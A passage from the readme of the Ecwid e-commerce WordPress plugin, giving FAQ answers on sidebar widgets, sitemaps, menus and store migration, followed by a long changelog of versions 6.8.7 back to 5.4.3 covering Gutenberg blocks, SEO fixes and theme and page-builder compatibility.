You can add your online shop to any web presence, including your Facebook business page. Ecwid plugin will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. [More details](https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#addtoFacebook). = How can I add a shopping cart widget to my site sidebar? = You can add a product search box, shopping cart widget and other tools on the Appearance/Widgets page here in your site admin. [Read more about Ecwid sidebar widgets](https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#Sidebarwidgets). = How do I add my store products to a sitemap? = To create a sitemap for your WordPress shop, we recommend using the fully compatible [Google XML Sitemaps](https://wordpress.org/plugins/google-sitemap-generator/) or [Yoast WordPress SEO](https://wordpress.org/plugins/wordpress-seo/) plugins. Generating a sitemap that contains links to store categories and product pages will help index your pages faster. Please note that the store sitemap option is only available to paid Ecwid users. = How do I add store categories to the site menu? = You can add the store categories menu to your site menu to help your customers easily navigate your online shop. Just open "Appearance > Menus" in your WordPress control panel and add the "Store with Categories Menu" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site. = How do I migrate my shop from Shopify, WooCommerce or BigCommerce? = You can use Ecwid’s built-in import tools to copy your store products from any other shopping cart to Ecwid. Find more details in the [Import-Export article in the Ecwid shopping cart help center]( https://support.ecwid.com/hc/en-us/articles/360000049040-Migrating-to-Ecwid-from-WooCommerce). * [Ecwid Help Center](http://help.ecwid.com/?source=wporg-plugin-site "Ecwid Help") * [Ecwid eCommerce Forums](https://www.ecwid.com/forums/forumdisplay.php?f=19) == Changelog == = 6.8.7 - Sep 30, 2019 = - **New "Online store" widget in the Elementor page builder.** Ecwid works fine with all popular page builders in WordPress: Gutenberg, Elementor, Divi, Beaver builder and others. We constantly improve and add the compatibility features. In this update, we added a new "Online store" widget to Elementor editor toolbox. It allows you to add storefront to your ecommerce website pages easier in Elementor. - Meta tags improvement for products and categories ecommerce pages created with Divi builder. - Fix for the "Cannot use object of type WP_Error as array" PHP warning message appearing on some sites. - Minor fixes and improvements. = 6.8.6 - Sep 11, 2019 = - Improvements for the "Store page speedup" feature. - Fixed update date synchronization of goods for the "Integrate with the site search" tool. - Minor fixes and improvements. = 6.8.5 - Jul 25, 2019 = - **Improvements for the "Store page speedup" feature.** If you haven’t tried the store speedup tool yet, please feel free to do so on the Ecwid/Advanced setting page in your WordPress admin backend. - **Several fixes and improvements for the "Import from WooCommerce" tool.** - **Fixed a "Call to undefined function pll_current_language()" error message** to improve compatibility with the Polylang plugin. - Minor fixes and improvements. = 6.8.4 - Jul 9, 2019 = - **Several fixes and improvements for the recently released “Store page speedup†feature.** In particular, the changes improve the caching mechanism to avoid high database usage and fix layout issues in Internet Exporer browser. If you haven’t tried the store speedup tool yet, please feel free to do so on the Ecwid/Advanced setting page in your WordPress admin backend. - **Fixed a warning on the sites with old PHP versions**. If your ecommerce site is running on an outdated PHP version, this update might fix a warning message for you. Please update your PHP as soon as possible (or ask your hoster to do that for you) — it’s much more secure to use the latest versions of software on your server. = 6.8.3 - Jul 1, 2019 = - **Fixed scroll issues.** Ecwid adjusts the browser scroll when someone navigates to product and category pages in your shop. This is to make sure a visitor will see the product pages aligned well on the page. This didn't work well on some sites — we fixed that. - A few bug fixes in the Ecwid ecommerce blocks in Gutenberg. - Several other minor bug fixes and improvements. = 6.8.2 - Jun 14, 2019 = - Fixed an error that happened under certain site configurations = 6.8.1 - Jun 13, 2019 = - **Enabled the “Cache and speed up the store page†feature for the old Ecwid accounts**. The feature appeared in the previously released version (6.8), but it was disabled for the part of old Ecwid accounts. It’s now available for everyone. You can turn it on on the “Ecwid/Advanced†page in your WordPress admin backend. = 6.8 - Jun 13, 2019 = - **New cool feature — cache and speed up your store page**. Available on the Ecwid/Advanced settings page inside your WordPress admin backend. Tick the new checkbox there to make it cache and speed up the store home page on your ecommerce site. When it’s enabled, you and your customer will see your store page load way faster than before. - **Compatibility with more multilingual plugins**. As we mentioned before, Ecwid now supports full-featured multilingual storefronts. Previously, we made it compatible with the WPML plugin. In this update, we are adding support for more multilingual plugins: Polylang, TranslatePress, WPGlobus, WP Multilang, Multisite Language Switcher, MultilingualPress, Multilanguage by BestWebSoft, Transposh WordPress Translation and more. In general, if some plugin or a custom code switches locale on your site, Ecwid should be compatible with it and change the storefront language accordingly. So, if you have enabled the multilingual mode in your ecommerce store and are supporting several languages on your WordPress site, your shop pages will be displayed in the language selected by a visitor. - Minor fixes and improvements. = 6.7.4 - Jun 6, 2019 = - **Fixed the "Random products" sidebar widget layout issues**. Some users might notice that the random product widget didn't look good on e-commerce sites with a narrow sidebar. We fixed it so the widget work fine in narrow spaces. - **Fixed slow loading issue for the site admin**. After the latest Ecwid Ecommerce plugin update you might notice the store page loaded a bit longer. That was a bug. It didn't affect how the site loaded for your customers, but it did slow it down for you, the site administrator. We fixed it. - Small fixes and improvements. = 6.7.3 - May 29, 2019 = - Fixed compatibility with WordPress versions older 5.0 - Fixed a PHP error message ("Can't use function return value in write context ") for PHP versions older 5.5 - Minor fixes and improvements. = 6.7.2 - May 28, 2019 = - **SEO improvement: new ld+json and improved [schema.org](https://schema.org/) markup on product pages**. Ecwid adds product ecommerce data to product pages in a SEO-friendly microdata format so that search engines can index your store pages and better display them in search results. In this update, we enhanced the structured products data on store pages to make it meet the latest Google recommendations. Also, the plugin now adds the same product data in ld+json format in your storefront, which is an alternative way to expose your e-commerce information to search engines. This should increase chances the Google bot will crawl and index your product catalog well. - **Improved compatibility with WPML (part 3): hreflang tags for SEO**. WPML is a popular plugin to build multilingual sites. As we mentioned before, Ecwid now supports full-featured multilingual storefronts, too. In this update, we further improved WPML support in Ecwid. Now, if you have enabled the multilingual mode in your ecommerce store and are using WPML on your WordPress site, your shop pages will have links to the alternative language versions so that search engines will know which version to display to customer. Those alternative links are specified in hreflang tags in your storefront — special HTML elements aimed to link language versions of the same page between each other. - **Several fixes and improvements for the “Import from WooCommerce†tool**. If you import your products from WooCommerce to Ecwid, the import process now should be more stable and friendly. - **A few fixes for the “Integrate with the site search†tool**. You can find that tool on the Ecwid Advanced setting page — it’s used to display your products in site search results. - Minor fixes and improvements. = 6.7.1 - May 8, 2019 = - Minor fixes and improvements. = 6.7 - May 8, 2019 = - **Improved compatibility with WPML (part 2)**. WPML is a popular plugin for multilingual sites. Ecwid now supports full-featured multilingual storefronts, too. So, in this update, we added a few more improvements for WPML support. Now, if you have enabled the multilingual mode in your ecommerce store and are using WPML on your WordPress site, your shop pages will be displayed in the language selected by a visitor in a language selector. Read more about setting up a multilingual e-commerce store in Ecwid in the Ecwid blog: [https://www.ecwid.com/blog/sell-around-the-globe-with-a-fully-multilingual-storefront.html](https://www.ecwid.com/blog/sell-around-the-globe-with-a-fully-multilingual-storefront.html) - **A few fixes for compatibility with Divi builder**. If you use Divi builder to edit your WordPress site content, you might notice that the Ecwid buttons "Add store" and "Add product" didn't work well in the editor lately. We fixed that, now it should work fine. = 6.6 - Apr 29, 2019 = - **Improved loading time for the Ecwid plugin in WordPress admin backend**. We noticed that the Ecwid plugin affected the loading time of the pages editor in the WordPress admin backend. We improved a few things in the plugin to make it load faster. - **Improved compatibility with WPML**. WPML is a popular plugin for multilingual sites. We got a few reports that it didn’t work well with Ecwid. We talked to the WPML team and tracked down the issue. It’s now fixed and your site should work fine if you use both WPML and Ecwid. In future versions, we will add a full support for WPML — you will be able to translate your Ecwid catalog to multiple languages and display your store content in your visitor language. - **Added Russian translations for Gutenberg blocks**. The Ecwid ecommerce plugin now has 10 Gutenberg e-commerce blocks, which help you build your online store pages in more convenient drag-n-drop manner. In this update, we translated those blocks to Russian to make it more friendly for Ecwid users from Russia. - Various fixes and improvements. = 6.5.3 - Apr 11, 2019 = - **Compatibility fixes for KingComposer Editor.** There was a problem in how Ecwid e-commerce plugin works with KingComposer editor. We've fixed it. - Minor fixes and improvements. = 6.5.2 - Apr 3, 2019 = - Minor fixes and improvements. = 6.5.1 - Mar 28, 2019 = - Fixed a minor appearance issue in the Ecwid e-commerce blocks in Gutenberg. = 6.5 - Mar 28, 2019 = - **Added 8 new Gutenberg blocks — 10 in total.** The Ecwid plugin now provides 10 ecommerce blocks for Gutenberg for adding online store functionality to your site pages. The blocks include: the store home page to display the whole storefront, the store category page to show a particular category, the large product card to show detailed product information, the small product card to display one or several product widgets, the buy now button to add buttons to blog posts, the search and filters page, the search input block, the shopping cart icon block and the cart and checkout block. To try the new blocks, open Gutenberg editor in your WordPress admin backend, click "Add block" and find the "Ecwid" blocks set there. - **Added In-context "Edit Product" links.** You can now open store product editor quickly when browsing published store pages as an administrator. Just click the "Edit Product" link at the top of the page in the WordPress admin header or the "Edit" button at the bottom of the post and you will get redirected to the product details in your e-commerce store dashboard. - **Added SEO improvement for the H1 tags on the product and category pages**. Ecwid puts product and categories ecommerce data in the page content in a SEO-friendly microdata format so that search engines can index your store well. On the other hand, Wordpress pages have their own data, specifically <h1> tags, which stay on product pages and visible to Google when it is indexing your site. So, in addition to a product title like "My cool product", Google may see your store page title on the same page like "Shop". We improved it: the product pages will now have more prominent and clear <h1> tags containing product titles. This should improve indexation and the way your products look in the search results in Google. - **Added compatibility with the Enfold theme page builder (Avia Layout Builder)**. We learned that Ecwid didn't work well with the Avia page builder which is a part of the Enfold theme. Enfold users might notice it was difficult to add Ecwid blocks to a page. We fixed that — now Ecwid should work fine with Enfold theme. - **Added Mega Menu plugin compatibility**. Added fixes and layout improvements to make the Ecwid e-commerce plugin compatible with the Mega Menu WordPress plugin. If you use the Mega Menu plugin, you might notice layout issues on your store page. We fixed that. If you find any trouble in how Ecwid works with your theme or plugin, please let us know. - Minor fixes for the "Import products from WooCommerce to Ecwid" import tool. - Ecwid is constantly updated with new features and tools which are of course available to WordPress users. One of the recent major updates is Dynamic AMP emails: we’ve collaborated with Google/Gmail to launch dynamic email for e-commerce merchants. It's available for the Ecwid plugin users now and you will be able to use it without dealing with custom code or any external plugin. Check it out in our [blog](https://www.ecwid.com/blog/e-commerce-email). = 6.4.15 - Mar 19, 2019 = - Fixed generation of sitemap for Yoast SEO plugin = 6.4.14 - Mar 12, 2019 = - Fixed a PHP error message ("Cannot use object of type Closure as array") = 6.4.12 - Mar 11, 2019 = - Improvement for the sharing buttons on the product pages. "Share to Facebook", "Tweet" and other share buttons now uses the actual product page URLs instead of a "proxy" Ecwid URL. This should make shared links look more appealing in social networks and improve the SEO of your ecommerce store. - Fixed an issue in the "Import products from WooCommerce" tool. In some cases, import failed and stopped importing products — we fixed that, now it should work fine and you can import your products from WooCommerce to Ecwid when you need it. - Fixed a Javascript warning message in the browser console when the Recently viewed products widget is used. - Minor fixes and improvements for SEO, stability and performance. - Besides the changes in the plugin, Ecwid e-commerce functionality is constantly updated with new features and tools. One of the recent major updates is product filters — you can now add product filtering panel to your store search page without dealing with custom code or an external plugin. Check it out in our [blog](https://www.ecwid.com/blog/all-sorted-introducing-storefront-product-filters.html). = 6.4.11 - Feb 26, 2019 = - Minor fixes and improvements. = 6.4.9 - Feb 7, 2019 = - **Fixes for the Open Graph image tag (og:image tag) .** When you share a page from your ecommerce site on Facebook or in a messenger, you should see the product title, description and image in the sharing preview snippet. - **Improvements for the product listing auto-scroll function.** In some Wordpress themes, the site header might overlap product pages when you navigate from page to page in your online store. We improved it to make the product and category pages appear better to your customers. - Various minor fixes and improvements. = 6.4.8 - Dec 26, 2018 = - **Improved settings interface for the "Product" block in Gutenberg (the new WordPress page editor)**. You can add a single product to any of your pages or posts using the Ecwid ecommerce "Product" block and fine-tune its layout in the block settings on the right side in the editor. - **Resolved a minor layout issue caused by the Embed Any Document plugin.** The Embed Any Document plugin adds a breaking CSS code to the Wordpress admin backend which caused some of the Ecwid plugin admin pages display incorreclty. We fixed that, the plugins are now compatible. - **SEO enhancement: improved canonical tags for the sites that display different store categories on different site pages.** In such case, the canonical tags on products and categories pages will keep the pages structure as is (link to the page that they are opened from). Otherwise, if you have one main store page displaying the whole catalog, the product/categories canonical tags will link to the main store page to avoid duplicates issues and make your e-commerce store appear better in the Google search results. - Minor improvements for the Ecwid admin backend pages navigation. = 6.4.7 - Dec 14, 2018 = - **Compatibility fixes for Elementor and Gravity Forms.** Thanks to a user report, we found a few glitches in how the Ecwid e-commerce plugin works with Elementor and Gravity Forms. All fixed — the plugins should work fine together now = 6.4.6 - Dec 7, 2018 = - Minor fixes & improvements. = 6.4.5 - Dec 7, 2018 = - **Minor fixes for better compatibility with the WordPress v5 and Gutenberg.** - **Improvements and fixes for the “Import products from WooCommerce†tool.** Import of products from WooCommerce to Ecwid now should work smoother, especially when you have a lot of products to import. = 6.4.3 - Nov 28, 2018 = - Minor fixes and improvements for the Ecwid ecommerce blocks in Gutenberg editor. = 6.4.2 - Nov 14, 2018 = - **Speedup for the store main page.** We're working on making Ecwid stores load faster on WordPress sites. This update brings a set of loading speed improvements for some part of the stores. We will gradually roll out these enhancements to all users. No actions required from your side — your store will get all of the improvements in this or upcoming releases. But if you ever noticed your store loading slowly, please contact us so we can help you enable this new feature on your site right now. - **Fixed an issue in the plugin settings menu on [Wordpress.com](http://wordpress.com).** Ecwid e-commerce plugin works on Wordpress.com sites as well. In the admin backend of [WordPress.com](http://wordpress.com) sites, the plugin menu didn't look well — some of the styles and colors were broken. We fixed it, now the plugin admin backend should work fine on both [Wordpress.org](http://wordpress.org) and Wordpress.com installations. - Minor fixes and improvements. = 6.4.1 - Nov 13, 2018 = - WordPress v 5.0 compatibility. This update brings compatibility with the upcoming WordPress version. In particular, we made sure Ecwid e-commerce stores looks good with the new Twenty Nineteenth theme. Also, we polished the Ecwid online store block in the new WordPress editor (Gutenberg) to make sure you can add a product listing to any site page and customize its appearance including colors, product grid layout, store navigation controls, product page appearance and more. = 6.4 - Oct 25, 2018 = - **New storefront appearance settings in Gutenberg.** The new WordPress page editor (Gutenberg) now has plenty of e-commerce design settings: product thumbnails format and size, button and text colors, category images behavior, product page layout, store navigation elements and a lot more. We previously added these appearance options to your Ecwid store control panel: https://www.ecwid.com/blog/new-ecwid-design-settings-dozens-of-customization-options-no-coding.html. Now they are a part of real-time page building experience: you tweak the appearance, preview changes and publish them right from the page editor. To see the new appearance options, please make sure you enabled the Gutenberg editor in your WordPress admin backend. - **SEO fix: 404 status for removed products and categories.** Previously, Ecwid didn't mark removed products and categories with correct 404 responses — it just displayed a customer-friendly message saying the product is not available. Google recommends making removed pages clearly marked with a special 404 response code available for search robots to read. We added it to make sure unavailable products will be quicker removed from the Google search results giving more customer attention to the available products. - Minor fixes and improvements. = 6.3.2 - Oct 1, 2018 = - **Fixed a problem with the WordPress admin menu items.** In some cases, the WordPress admin navigation froze when an Ecwid store admin page was opened. Now everything should work fine. = 6.3.1 - Sep 26, 2018 = - **Several fixes and improvements.** = 6.3 - Sep 25, 2018 = - **Compatibility with the popular WordPress page builders: Elementor, Divi, Beaver builder.** The Ecwid e-commerce plugin has always been working great with the default WordPress editor to let you easily add a store or a single product to your site pages. In the recent updates, we also added the same functions to Gutenberg editor. In this update, we went further to make sure the most popular page builders are working fine with Ecwid. We added a lot of improvements and fixes to the plugin to make it work better with the Elementor, Beaver page builder and Divi editor. If you are using one of those page builders and having any problem editing your store page, please let us know so we can further improve it. - **Avada, Bridge and Parallax One themes improved compatibility.** Even though Ecwid is compatible with every WordPress theme by design, some slight fixes and improvements are sometimes needed to make storefront look better. That’s why we are always monitoring how Ecwid pages look and behave in WordPress ecommerce themes. In this update, we are rolling out a few minor improvements to the Ecwid layout for the Avada, Bridge and Parallax One WordPress themes. - **Fix of a conflict with Master slider plugin.** The Master slider plugin used to conflict with Ecwid plugin in the WordPress admin backend, which may cause some of the slider management pages look broken in the slider dashboard. Fixed. - **Fix of a conflict with the Ultimate tables plugin.** One more plugin conflicting issue is fixed: the Ultimate tables plugin used to affect the Ecwid dashboard layout in the WordPress admin backed. Now it is working fine. - **Improvements for the WooCommerce import tool: options, variations and image gallery are now supported.** In one of the recent update, we made it possible to import WooCommerce products to your Ecwid e-commerce store using a simple import wizard in the Ecwid plugin. In this version, we’ve made it more powerful so you can now import product gallery images, product options and variations to make the import easier and quicker. - **Several fixes and improvements.** = 6.2.4 - Aug 17, 2018 = - Fixed an issue with the SEO content of product and categories pages. In the previous update, there was a bug affecting hidden SEO content of the store pages. It’s now fixed — everything should work fine both for human visitors and search crawlers. = 6.2.3 - Aug 15, 2018 = - Minor fixes and improvements. = 6.2.1 - Aug 8, 2018 = - **New “Main storefront page†selector in the plugin advanced settings.** If you have your storefront added to several pages on your site, you can now choose the main storefront page in the plugin settings (Ecwid → Advanced). This will define where the store navigation menus and sidebar widgets should be linked to. If you have a single online store page (which is totally OK), this new option won’t be displayed. - **New warning messages for the sites with outdated TLS.** Ecwid is a PCI DSS level 1 certified ecommerce provider, which is a gold security standard for e-commerce solutions. Put it simply, when you use Ecwid, you have a bank level of online payments security in your online store. One of the requirements to make sure Ecwid merchants can securely process payments on their site is to use up-to-date TLS software on the server where your site is hosted. If your store dashboard doesn’t load in your Wordpress admin backend or you see a warning message saying that the Ecwid plugin cannot connect to the Ecwid API, that’s most likely caused by outdated TLS on your hosting. We recommend contacting your hosting in such case. If everything works fine and no warning message appears, that means no action is required from your side. - **Minor improvements in the store dashboard in the WordPress admin backend.** We improved the scroll behavior on the store admin dashboard pages and fixed a couple minor issues in the Ecwid menu items in the WordPress admin backend. - **Fixed an issue with store popup appearing on protected pages before the password is entered.** Some online sellers add their store catalog on protected pages on their ecommerce site to restrict access to it for some particular group of customers (e.g. wholesale membership). There was an issue with store catalog appearing in a popup on such pages — we fixed that. - **Fixed an issue in the “Add store†button in the WordPress page editor.** There was a bug that made the store widgets appear at the top of the page when you use the “Add store†button in the classic Wordpress editor. We fixed it, it should work fine now. - Minor fixes and improvements. = 6.2 - Jun 25, 2018 = - **New! Revamped floating cart icon.** We added a new floating cart widget that allows to display a cart icon along with items count and subtotal in the corner of the screen. This way, it's always visible and your customers can click it to check their cart contents and proceed with checkout. The new floating shopping cart icon looks better and provides a lot of layout customization options. You can enable it in the Customizer menu under "Ecwid" section in your WordPress admin backend: (Appearance → Customize → Ecwid). - **Fixed a "Call to undefined function mb_strtolower" error message that appeared on some hosts.** If you saw such an error message, this should be fixed now. - **Fixed a minor issue with the way Ecwid clean URLs work with Divi theme.** If you're using Divi theme on your site, you might notice that product page links gave you a 404 error in some rare cases. It' fixed now. - Minor fixes and improvements. = 6.1.1 - May 30, 2018 = - **Compatibility with Gutenberg: buy now buttons in the page editor.** Gutenberg editor is getting more and more popular and will soon be the default WordPress editor. To make sure Ecwid users are ready for it, we are adding Gutenberg support to our plugin. In the previous update, we added a “Store†block to the Gutenberg editor toolbar. This update brings another button to the editor toolbar — “Ecwid productâ€. Use this one to add product widgets and buy now buttons to the pages and posts of your site. - **Revamped cart widget for sidebar.** We added a new sidebar widget that allows to display a cart icon along with items count and subtotal in the sidebar. The new shopping cart icon widget looks better and provides a lot of layout customization options — don’t forget to play with its settings when adding it to your sidebar. You can find the new widget under Appearance → Widgets in your Wordpress admin backend. - **New design/appearance settings: new customization options for your storefront.** We added a lot of new design settings to your store dashboard. Read this detailed post to learn how to tweak your store appearance: [https://www.ecwid.com/blog/new-ecwid-design-settings-dozens-of-customization-options-no-coding.html](https://www.ecwid.com/blog/new-ecwid-design-settings-dozens-of-customization-options-no-coding.html) - **Compatibility with WP Bakery page builder.** We fixed a few issues and made Ecwid widgets work fine in the “WP Bakery†page builder. Now you can use that sitebuilder with the Ecwid plugin — everything should work fine. - **Fixed a pre-renderering issue in IE browser.** The Ecwid e-commerce plugin adds prerender/preload tags to your site code — those are special html codes aimed to make the store page loads faster for your customers. This pre-rendering technology didn’t work well in old IE browsers (IE 11 and older) so we disabled it for IE visitors on your site. It works automatically, so no actions required from your side. - **Compatibility with Polylang plugin.** We got a report from one of our customers stating that Ecwid didn’t work well with Polylang plugin. We fixed an issue, now everything should work fine. - Improvements and fixes for the plugin navigation in the WP admin menu. - Improvements and fixes for store pages SEO friendly urls. - Fixed a minor issue in the “Tools -> Import -> Ecwid products†section in the WP admin backend. = 6.0.3 - Apr 19, 2018 = - Fixed incorrect sorting in the store categories menu widgets. If you use display store categories inn your site menu or in a sidebar using the Ecwid categories sidebar widget, you might notice that the categories list order differs from that in your store control panel. We fixed that — now the sorting matches. - Fixed unclickable products/categories in storefront. This issue appeared in very rare occasions, when a site is running on https (like https://example.com) but someone opens it using an http link (http://example.com). If there was no redirect (it happens sometimes), you might notice that your store product listing doesn’t react on clicks in the http version of your site. We fixed that — now it works well in all cases. We recommend redirecting http to https version though anyway. = 6.0.2 - Apr 13, 2018 = - Fixed an error that occurred under specific server configurations. = 6.0.1 - Apr 11, 2018 = - **Compatibility with Gutenberg.** Gutenberg editor is getting more and more popular and will soon be the default WordPress editor. To make sure Ecwid users are ready for that, we added Gutenberg support to our plugin. Now when you edit a page in Gutenberg, you will see a new "Ecwid online store" block in the editor toolbar — this can be used to add a store to a page. In future updates, we will add ability to add a product widget (or a buy now button) to a post or page in Gutenberg. - **New product import tools.** Some sellers copy their products to Ecwid e-commerce plugin from WooCommerce, other shopping carts or local database or spreadsheet. We made it easier to do that in Ecwid. You can now see a separate Ecwid block under Tools -> Import in the WordPress admin backend. That block allows you to import products and categories to your store from WooCommerce or external CSV file. - **New WordPress admin dashboard widget: help/educational materials for sellers.** We added a new Ecwid block to the WordPress admin dashboard — it features useful posts from the Ecwid ecommerce blog. The block refreshes itself automatically when we publish a new blog post. Check it to find fresh product updates and tips and recommendations from the Ecwid team on how to better set up your store and sell more. - **Revamped Ecwid menu in WordPress admin backend.** This is step #2 of the menu changes implemented in the version 5.8. Historically, the Ecwid store management dashboard displayed navigation within the central page content when you open it in your WordPress admin backend. So, you open the “Ecwid†menu in your WP admin and then navigate through your store admin pages inside that general “Ecwid†page. We’re improving this process: now the store admin navigation menu will be a part of the WordPress admin menu. So now you will find management/settings/apps and other sections right in the WordPress left-hand navigation sidebar. This will align the Ecwid plugin navigation with the general WordPress navigation and provide more natural way to find the right page of your store dashboard. Also, this will free some space in the page central area to make it more convenient to manage your store, especially on mobile devices. - Minor fixes and improvements. - 6.0.1 fixes compatibility issues with outdated php versions. = 5.8.2 - Mar 9, 2018 = - **Fixed an issue with the categories menu appeared in the version 5.8.1.** = 5.8.1 - Mar 7, 2018 = - **Compatibility with the Yoast premium SEO plugin.** Yoast recently updated their SEO plugins. We adjusted Ecwid plugin to work well with them. So, as usually, Ecwid should work well with Yoast products, feel free to use them to get your site and online store optimized for search engines. - **Fixed an issue with Ecwid buttons in the Elementor page builder toolbar.** Ecwid’s “Add store†and “Add product†buttons didn’t work well in the Elementor editor toolbar. We hid the Ecwid buttons from the toolbar as a workaround. To add a store or a single product to a page in the Elementor editor, please use [ec_store] and [ec_product] shortcodes or temporarily switch to the default WP editor. - **Fixed compatibility issues with Themify AJAX themes.** If you use one of Themify themes with AJAX navigation enabled, you might notice that your store page didn’t load sometimes. We fixed that. Ecwid should work well with any Wordpress theme. - **Fixed an issue with SEO-friendly description on store product pages.** Ecwid ecommerce plugin renders your store pages in a special search engines friendly way so that they can index your products and display them better in search results. In some cases, product description wasn’t displayed in that SEO version of store page. We fixed that, everything should work fine and your products should be displayed well in Google search. - Minor fixes and improvements. = 5.8 - Feb 8, 2018 = - **Improved OG tags support.** OpenGraph (or OG) tags are special marks in site pages code, that are used to make better snippets when you share a page on Facebook, Twitter and other sites and social networks. We added OG tags to the products pages — this will make your product title, description and image appear in a snippet/post when you share a link to that product. - **Revamped Ecwid menu in WordPress admin backend.** Historically, the Ecwid store management dashboard displayed navigation within the central page content when you open it in your Wordpress admin backend. So, you open the “Ecwid†menu in your WP admin and then navigate through your store admin pages within that general “Ecwid†page. We’re improving this process: now the store admin navigation menu will be a part of the Wordpress native admin menu, so you will find products/sales/settings/promotions/apps and other sections right in the Wordpress left-hand navigation sidebar. This will align the Ecwid plugin navigation with the general Wordpress navigation and provide more natural way to find the right page of your store dashboard. Also, this will free some space in the page central area to make it more convenient to manage your store, especially on mobile devices. IMPORTANT: The change is now enabled for the new plugin users only. We will gradually roll it out to all of the plugin users in the upcoming updates. - **Improved compatibility with Customizr theme (part 2).** We continue improving the Ecwid online store plugin to work well with a popular “Customizr†theme and to make the store appearance and behavior fit the theme better. This is a continue of the improvements for Customizr that we released in the previous plugin update. If you’re using the Customizr theme, please let us know what you think. - **Several minor fixes and improvements.** The Ecwid plugin is constantly updated with new features and tools. To see more updates, see [our ecommerce blog](https://www.ecwid.com/blog/ecwid-updates). = 5.7.3 - Jan 18, 2018 = - **Improved compatibility with Customizr theme.** We are inspecting how the plugin works with a popular “Customizr†theme and making the store appearance and behavior fit the theme better. This is the first part of improvements for Customizr, we will continue making it better in the future versions. - **Improvements in the way the plugin communicates with the Ecwid APIs.** We cleaned up the plugin code and improved its internal functions to make sure storefront and product widgets are using the newest Ecwid API and work more stable. - **Minor improvements in the SEO.** We made a few fixes and adjustments in canonical tags and SEO-friendly URLs functionality. - **Ecwid e-commerce service is constantly updated with new cool features and improvements.** To see more updates and learn something new about selling online, see [our blog](https://www.ecwid.com/blog/ecwid-updates). = 5.7.2 - Dec 20, 2017 = - **Fixed a couple of bugs on the Ecwid dashboard page.** The store control panel might not appear in the Wordpress backend for some users (especially it was likely to happen in Safari browser). We fixed it. So if you experienced that issue in your Wordpress admin backend, this update should fix it for you. - **Added fixes and layout improvements to make Ecwid e-commerce plugin compatible with “Abubize Business†and “Evolve Plus†Wordpress themes.** If you use one of those themes, you might notice layout issues on your store page caused by the theme styles overriding Ecwid styles. We fixed that. If you find any trouble in how Ecwid works with your theme, please let us know. - **Fixed an issue in the way Ecwid shortcode is rendered in the Wordpress page editor.** You might notice the Wordpress editor froze when you changed the "widgets" part of the Ecwid shortcode in the editor. For example, if you put a shortcode with categories widget only (without product browser). We fixed it — now you can adjust the shortcode as you wish. Note this problem only affected the Wordpress editor — neither your store nor your control panel were affected. So, if you don't customize the shortcode content, you can just ignore this, everything is working fine for you. - **Several minor fixes and improvements.** Ecwid is constantly updated with new cool ecommerce features. To see more updates and learn something new about selling online, see [our blog](https://www.ecwid.com/blog/ecwid-updates). = 5.7.1 = - **Fix for the “The requested product is not available†error message appeared in the version 5.7**. The issue was caused by the new “Default product†feature. Some users found that error message when adding their store to a new page in the plugin and specifying the default category for that page. Everything should work fine now. = 5.7 = - **New feature in the [ecwid] shortcode — it’s now possible to specify the product that will be displayed by default when the store page is opened.** If you want to feature some product from your online store on one of the site pages or if you sell a single product, you can specify it in the new “default_product_id†parameter in the ecwid shortcode to make it opened by default. - **Speedup in the store navigation for your customers.** We improved Ecwid e-commerce sidebar widgets and menus in the storefront, they now work without page reload when a visitor is already on the store page. After the customer opens your store page, all further browsing will be super fast, including switching between products, opening categories, visiting recently viewed products etc. - **Fixed an issue with title and description meta tags being changed by the Yoast SEO plugin on store pages.** If you have Yoast installed, you might notice this issue recently. Now your products and categories titles and descriptions will get to the page meta title/description tags with no problem. This should help Google index your catalog properly. - Ecwid is constantly updated with new cool ecommerce features and improvements. To see more updates and learn something new about selling online, see [our blog](https://www.ecwid.com/blog/ecwid-updates). = 5.6.2 - Oct 25, 2017 = - **Fixed an issue with custom store menu links.** You can add store pages to the site menu under “Appearance → Menu†in your WordPress site settings. Previously, these links might not work if you added them in the recent weeks. We now fixed it, they should work fine. - **Fixed an issue with the browser back button and the customer cart content.** In some rare cases (when the Single Sign On tool is enabled), when a logged in store visitor clicked the back button in their browser, the cart content might be refreshed. We fixed that — whether you have the customer Single Sign On enabled or not, the storefront, cart and checkout should work properly. - **Added compatibility with the “Above The Fold Optimization†plugin.** You can use that plugin along with the Ecwid shopping cart, everything should work fine with no issues. - **Fixed a slight layout issue with the “Optimizer†theme.** Product thumbnail pictures displayed improperly in that theme. Now they look OK. - **Added slight improvements and fixes for the admin backend layout.** - Ecwid is constantly updated with new cool ecommerce features and improvements. To see more updates and learn something new about selling online, see [our blog](https://www.ecwid.com/blog/ecwid-updates). = 5.6.1 - Sep 29, 2017 = - Fixed incompatibility of the plugin v5.6 with the servers running PHP 5.2.x = 5.6 — Sep 27, 2017 = - **Added a new sidebar widget — "Latest Products"!** Add this widget to your sidebar to let your customers know what's new in your online store. You will find the widget under Appearance -> Widgets section in your Wordpress admin backend. - **Added SEO optimization for single product widgets.** Now, single product widgets will include SEO-friendly markup for product's title/price/availability data to let the search engines better index the page content. You can add single product widgets to your site pages using the "Add Product" button in the Wordpress page editor. - **Slightly optimized loading speed.** The Ecwid Online Store plugin now loads less CSS/JS files on your site to decrease number of resources the visitor browser should process and to increase loading speed. - **Fixed an issue with SEO friendly clean URLs.** On some sites in rare occasions, product URLs responded with 404 errors. If you encounter such behavior on your site, this update should fix that. All shop URLs should work fine now — they are available for visitors and are well indexed by search engines. - **Various minor fixes and improvements** in random product widget, SEO functionality, store dashboard and other areas. - Ecwid is constantly updated with new cool features and improvements. To see more updates and learn something new about selling online, see [our blog](https://www.ecwid.com/blog/ecwid-updates). = 5.5 = - **New random product widget.** A new sidebar widget allows you add a random product block to the site sidebar. Each time your customer opens or refreshes a page on your site, they will see one of your store products in the sidebar. Enable the new random product widget under Appearance→Widgets section in your Wordpress admin backend. Do not forget to add pictures to your products to bring site visitors’ attention to your store. - Minor fixes and improvements. = 5.4.3 = - **Speed optimization for the plugin settings pages.** We improved the plugin admin settings code to make sure it requires less time and resources and thus works faster. - **Fixed a bug in the integration with the Google XML Sitemaps plugin.** The sitemaps generated by that plugin might contain invalid data related to the store product pages. That was caused by a bug in the Ecwid plugin. We fixed that, your sitemap should work fine now. - **Fixed the “preg_match†warning messages appearing in rare occasions on the plugin pages.** If you happen to see those messages on your site, please update the Ecwid online store plugin, it should fix them. - **Bug fixes and improvements for the SEO content of the product and categories pages on the site.** This is for search engines to be able to index your store better. = 5.4.2 